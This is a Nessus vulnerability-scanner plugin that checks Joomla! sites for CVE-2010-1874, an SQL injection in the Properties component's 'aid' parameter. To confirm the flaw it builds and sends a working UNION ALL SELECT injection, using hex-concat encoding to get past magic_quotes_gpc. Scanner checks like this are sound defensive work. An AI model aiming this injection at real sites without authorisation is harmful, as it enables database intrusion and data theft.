Properties Component for Joomla! 'aid' Parameter SQLi

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(45501);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");

  script_cve_id("CVE-2010-1874");
  script_bugtraq_id(39374);
  script_xref(name:"EDB-ID", value:"12136");

  script_name(english:"Properties Component for Joomla! 'aid' Parameter SQLi");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the Properties component for Joomla! running on the
remote host is affected by a SQL injection vulnerability due to
improper sanitization of user-supplied input to the 'aid' parameter
before using it to construct database queries. Regardless of the PHP
'magic_quotes_gpc' setting, an unauthenticated, remote attacker can
exploit this issue to manipulate database queries, resulting in
disclosure of sensitive information, modification of data, or other
attacks against the underlying database.");
  script_set_attribute(attribute:"solution", value:
"Contact the author for a patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/04/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/04/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/04/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2024 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Verify component is installed
plugin = "Properties";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('<name>Properties<');
  checks["/administrator/components/com_properties/properties.xml"]=regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );

}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# This function converts a string to a concatenation of hex chars so we
# can pass in strings without worrying about PHP's magic_quotes_gpc.
function hexify(str)
{
  local_var hstr, i, l;

  l = strlen(str);
  if (l == 0) return "";

  hstr = "concat(";
  for (i=0; i<l; i++)
    hstr += hex(ord(str[i])) + ",";
  hstr[strlen(hstr)-1] = ")";

  return hstr;
}

test_script = SCRIPT_NAME - ".nasl";

# Try to exploit the issue to manipulate the contact info for a non-existent agent id.
exploit = "-" + rand() % 1000 + " UNION ALL SELECT 1,2," + hexify(str:"NESSUS") + ",4," + hexify(str:test_script) + ",6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 -- ";

url = '/index.php?option=com_properties&task=agentlisting&aid=' + str_replace(find:" ", replace:"%20", string:exploit);

res = http_send_recv3(port:port, method:"GET", item:dir+url, exit_on_fail:TRUE);

if (
  'id="descagent"' >< res[2] &&
  'Firma : ' + test_script + '<br' >< res[2]
)
{
  output = strstr(res[2], "Firma : "+test_script);
  if (empty_or_null(output)) output = res[2];

  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    sqli        : TRUE,
    line_limit  : 10,
    generic     : TRUE,
    request     : make_list(install_url + url),
    output      : chomp(output)
  );
  exit(0);
}
else
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");